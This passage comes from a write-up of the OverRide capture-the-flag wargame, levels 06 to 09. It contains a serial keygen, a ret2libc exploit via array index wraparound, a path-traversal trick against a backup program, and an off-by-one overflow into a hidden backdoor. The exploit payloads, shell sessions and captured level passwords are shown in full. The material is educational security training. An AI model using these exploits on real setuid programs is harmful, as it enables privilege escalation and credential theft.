        puts("\033[31m| !! TAMPERING DETECTED !!  |");
        puts("\033[32m'---------------------------'");
        return 1;
    }

    int hash = (login[3]) ^ 0x1337 + 0x5eeded;

    for (size_t i = 0; i < len; i++)
    {
        if (login[i] <= 0x1f)
            return 1;
        int temp = login[i] ^ hash;
        int result = ((temp - ((unsigned int)((unsigned long long)temp * 0x88233b2b) >> 32)) >> 1)
        + ((unsigned int)((unsigned long long)temp * 0x88233b2b) >> 32);
        hash += temp - (result >> 10) * 0x539;
    }

    if (serial != hash)
        return 1;

    return 0;
}
```

Looking at the code above, there's no actual vulnerability, so our only solution is to input a **login** and **serial** combination that satisfies the algorithm in the **auth** function.

```python
#!/bin/env python3

from sys import argv

def calculate_hash(login: str, serial: int) -> int:
    hash: int = (ord(login[3])) ^ 0x1337 + 0x5eeded
    for c in login:
        temp: int = ord(c) ^ hash
        result: int = ((temp - ((temp * 0x88233b2b) >> 32)) >> 1) + ((temp * 0x88233b2b) >> 32)
        hash += temp - (result >> 10) * 0x539
    return hash

def find_valid_login_and_serial(login: str) -> int:
    serial: int = 0
    while True:
        if calculate_hash(login, serial) == serial:
            return serial
        if serial > 0xffffffff:
            raise Exception("No valid login found")
        serial += 1

def main() -> None:
    if len(argv) != 2:
        print(f"Usage: ./auth.py <login>")
        exit(1)

    login: str = argv[1]
    serial: int = find_valid_login_and_serial(login)
    print(f"Valid login: {login}, serial: {serial}")

if __name__ == "__main__":
    main()
```

With the above script we can find the matching **serial** for any **login**, as long as the login has a **minimum length of 6 characters**.

If we run the script with **“abcdef”** as our login we get: **6232802**

```
➜ override git:(main) ✗ ./level06/resources/auth.py abcdef
Valid login: abcdef, serial: 6232802
```

Lets try using this combination on the program.

```
level06@OverRide:~$ (python -c "print 'abdcef\n' + '6232802\n'"; cat) | ./level06
***********************************
*               level06           *
***********************************
-> Enter Login: ***********************************
***** NEW ACCOUNT DETECTED ********
***********************************
-> Enter Serial: Authenticated!
whoami
level07
cd ../level07
cat .pass
GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8
```

Once again, we get a shell that allows us to read the password for user **level07: “GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8”**

Level07:

Run **“su level07”** with **“GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8”**

```
level06@OverRide:~$ su level07
Password:
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   /home/users/level07/level07
level07@OverRide:~$
```

```
level07@OverRide:~$ file level07 ; ls -l level07
level07: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf5b46cdb878d5a3929cc27efbda825294de5661e, not stripped
-rwsr-s---+ 1 level08 users 11744 Sep 10  2016 level07
level07@OverRide:~$
```

After disassembling we get:

```c
int main(int argc, char **argv, char **envp)
{
    char **av = argv;
    char **env = envp;

    unsigned int arr[100] = {0}; // 0x64
    char buff[20]; // 0x14
    int ret = 0;

    for (int i = 0; av[i]; ++i)
        memset(av[i], 0, strlen(av[i]));
    for (int i = 0; env[i]; ++i)
        memset(env[i], 0, strlen(av[i]));

    puts(
"----------------------------------------------------\n\
  Welcome to wil\'s crappy number storage service!   \n\
----------------------------------------------------\n\
 Commands:                                          \n\
    store - store a number into the data storage    \n\
    read  - read a number from the data storage     \n\
    quit  - exit the program                        \n\
----------------------------------------------------\n\
   wil has reserved some storage :>                 \n\
----------------------------------------------------\n"
);

    while (1)
    {
        printf("Input command: ");
        memset(buff, 0, 20);
        fgets(buff, 20, stdin);
        buff[strlen(buff) - 1] = '\0';

        if (strncmp(buff, "store", 5) == 0)
            ret = store_number(arr);
        else if (strncmp(buff, "read", 4) == 0)
            ret = read_number(arr);
        else if (strncmp(buff, "quit", 4) == 0)
            return 0;

        if (ret == 0)
            printf(" Completed %s command successfully\n", buff);
        else
            printf(" Failed to do %s command\n", buff);
    }
    return 0;
}
```

```c
int store_number(unsigned int *data)
{
    unsigned int index = 0;
    unsigned int number = 0;

    printf(" Number: ");
    number = get_unum();

    printf(" Index: ");
    index = get_unum();

    if (index % 3 == 0 || (number >> 24) == 183) // 0x18 0xb7
    {
        puts(" *** ERROR! ***");
        puts("   This index is reserved for wil!");
        puts(" *** ERROR! ***");
        return 1;
    }

    data[index] = number;
    return 0;
}

int read_number(unsigned int *data)
{
    unsigned int index = 0;

    printf(" Index: ");
    index = get_unum();
    printf(" Number at data[%u] is %u\n", index, data[index]);
    return 0;
}
```

This code tells us that if the **index** is **divisible by 3** or if the **MSB** of the **number** is **0xb7**, our input will not be stored.

Same as in level04, we can perform a **ret2libc attack** by overflowing the **EIP** using the **data** array, if we give it the correct address we can write the integer values of the addresses for **system, exit**, and **"/bin/sh"**

We can use gdb to get the **EIP offset**, giving us **456.** Since we're using an **int array** to store our values, the EIP would be located index **456 / 4 = 114**. This wont work because **114 % 3 = 0,** meaning this wont pass the check. A way to avoid this, is to overflow our index so that it wraps around.

```
Input command: store
 Number: 42
 Index: 1073741824
 Completed store command successfully
Input command: read
 Index: 0
 Number at data[0] is 42
 Completed read command successfully
Input command: 
```

We can test this by store a value in **(ULONG_MAX) 4294967295 / 4 + 1 = 1073741824**

We usually can't use **index 0,** so this means we successfully overflowed the index

To perform our exploit, we just need to store the values **4159090384 (exit), 4159040368 (exit), 4160264172 ("/bin/sh")** at indexes **1073741938 (114), 115** and **116** respectively, setting up our stack in order to run our shell.

```
Input command: store
 Number: 4159090384
 Index: 1073741938
 Completed store command successfully
Input command: store
 Number: 4159040368
 Index: 115
 Completed store command successfully
Input command: store
 Number: 4160264172
 Index: 116
 Completed store command successfully
```

Then we need to input the **quit** command so that the **next instruction (our exploit) gets executed**.

```
Input command: quit
$ whoami
level08
$ cd ../level08
$ cat .pass
7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC
```

With this shell we can read the password:
"7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC"

Level08:

Run **"su level08"** with **"7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC"**

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   /home/users/level08/level08
level08@OverRide:~$
```

```
level08@OverRide:~$ file level08; ls -l level08
level08: setuid setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU
/Linux 2.6.24, BuildID[sha1]=0xf8990336d0891364d2754de14a6cc793677b9122, not stripped
-rwsr-s---+ 1 level09 users 12975 Oct 19  2016 level08
level08@OverRide:~$
```

After disassembling we get:

```c
int main(int argc, char **argv)
{
    int ac = argc;
    char **av = argv;

    if (ac != 2)
        printf("Usage: %s filename\n", av[0]);

    FILE *log = fopen("./backups/.log", "w");
    if (!log)
    {
        printf("ERROR: Failed to open %s\n", "./backups/.log");
        exit(1);
    }

    log_wrapper(log, "Starting back up: ", av[1]);

    FILE *input = fopen(av[1], "r");
    if (!input)
    {
        printf("ERROR: Failed to open %s\n", av[1]);
        exit(1);
    }

    char buffer[0x70];
    memmove(buffer, "./backups/", strlen("./backups/"));

    int len = -1;
    len = strlen(buffer);
    len = 99 - len; // 0x69

    strncat(buffer, av[1], len);
```

```c
    int fd = open(buffer, 0xc1, 0x1b0);
    if (fd == -1)
    {
        printf("ERROR: Failed to open %s%s\n", "./backups/", av[1]);
        exit(1);
    }

    int bytesRead;
    while ((bytesRead = fgetc(input)) != EOF)
    {
        buffer[0] = bytesRead;
        write(fd, buffer, 1);
    }

    log_wrapper(log, "Finished back up ", av[1]);

    fclose(input);
    close(fd);

    return 0;
}
```

```c
void log_wrapper(FILE *log, char *msg, char *filename)
{
    char buff[0x110];
    strcpy(buff, msg);

    int len = 0xfe - strlen(buff);
    snprintf(buff+strlen(buff), len, "%s", filename);
    buff[strcspn(buff, "\n")] = '\0';

    fprintf(log, "%s\n", buff);
}
```

This is a simple program that opens a file and copies it to the "**backups**" directory, effectively it backs up the file. There are no vulnerabilities present, so we just to use the program as intended. We can try to copy "**/home/users/level09/.pass**", but that won't work right away.

```
level08@OverRide:~$ ./level08 /home/users/level09/.pass
ERROR: Failed to open ./backups//home/users/level09/.pass
level08@OverRide:~$ 
```

We can also see that it tried to open “**./backups//home/users/level09/.pass**”. So let’s try to create this directory structure in **/tmp** and see what happens.

```
level08@OverRide:~$ mkdir -p /tmp/backups/home/users/level09/
level08@OverRide:~$ touch /tmp/backups/.log
```

```
level08@OverRide:/tmp$ /home/users/level08/level08 /home/users/level09/.pass
level08@OverRide:/tmp$ cat /tmp/backups/home/users/level09/.pass
fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
level08@OverRide:/tmp$
```

A “backup” of the **.pass** file has been created. If we **cat** it, we can obtain the password for user **level09** :
“fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S”

Level09:

Run **"su level09"** with **"fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S"**

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   /home/users/level09/level09
level09@OverRide:~$
```

```
level09@OverRide:~$ file level09; ls -l level09
level09: setuid setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), f
or GNU/Linux 2.6.24, BuildID[sha1]=0xa1a3a49786f29814c5abd4fc6d7a685800a3d454, not stripped
-rwsr-s---+ 1 end users 12959 Oct  2  2016 level09
```

After disassembling we get:

```c
void    handle_msg(void)
{
    t_msg msg;
    memset(&msg.username, 0, 40); // 0x28
    msg.len = 140; // 0x8c

    set_username(&msg);
    set_msg(&msg);
    puts(">: Msg sent!");
}

int main(void)
{
    puts("\
--------------------------------------------\n\
|   ~Welcome to l33t-m$n ~    v1337        |\n\
--------------------------------------------"
);
    handle_msg();
    return 0;
}
```

```c
void    set_msg(t_msg* msg)
{
    char buff[1024]; // 0x400
    memset(buff, 0, 1024); // 8 * 128 = 0x400

    puts(">: Msg @Unix-Dude");
    printf(">>: ");
    fgets(buff, 1024, stdin);

    strncpy(msg->content, buff, msg->len);
}

void    set_username(t_msg *msg)
{
    char buff[128]; // 0x80
    memset(buff, 0, 128); // 8 * 16 = 0x80

    puts(">: Enter your username");
    printf(">>: ");
    fgets(buff, 128, stdin);

    for (int i = 0; i <= 40 && buff[i] != '\0'; ++i) { // 0x28
        msg->username[i] = buff[i];
    }

    printf(">: Welcome, %s\n", msg->username);
}
```

```
You, 12 hours ago | 1 author (You)
typedef struct s_msg
{
    char    username[40]; // 0x28
    char    content[140]; // 0x8C
    int     len; // 0x8
} t_msg;

void secret_backdoor()
{
    char buff[128]; // 0x80
    fgets(buff, 128, stdin);
    system(buff);
}
```

At a first glance, there are no obvious points of attack, all the **fgets** calls read the size of the buffer, so no overflowing there. But if we take a closer look at the **set_username** function, we can see the loop will be executed **41** times.For all **i values (0 < i < <= 40)**. This allows us to overwrite **1 byte** in the **len member**, allowing us to read a different amount of characters in **set_msg.**

If the **EIP address** is less than **248 bytes (256 - 8)** away from our **buffer**, we can write to it. Note that this is a **64-bit binary** so addresses are **8 bytes** long.

We can use gdb to calculate the EIP offset: **0x7fffffffe5d8 - 0x7fffffffe510 = 200**

In our code, we have the **secret_backdoor** function, but it never gets used. This function is useful to us if we can get to it since it allows us to execute commands from **stdin** with **system.** Since we control the EIP, we can write the address of **secret_backdoor** (**0x55555555488c**) at its location, allowing us to run **"/bin/sh"**, granting us access to the **end** user and its **.pass** file.

Run **"(python -c "print 40*'\x90' + '\xd8' + '\n' + 200*'\x90' + '\x00\x00\x55\x55\x55\x55\x48\x8c'[::-1] + '/bin/sh'"; cat) | ./level09"**

The final password is **"j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE"**

```
level09@OverRide:~$ (python -c "print 40*'\x90' + '\xd8' + '\n' + 200*'\x90' + '\x00\x00\x55\x55\x55\x55\x48\x8c'[::-1]
 + '/bin/sh'"; cat) | ./level09
--------------------------------------------
|   ~Welcome to l33t-m$n ~    v1337        |
--------------------------------------------
>: Enter your username
>>: >: Welcome, ����������������������������������������: Msg @Unix-Dude
>>: >: Msg sent!
whoami; cd ../end; cat .pass
end
j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE
```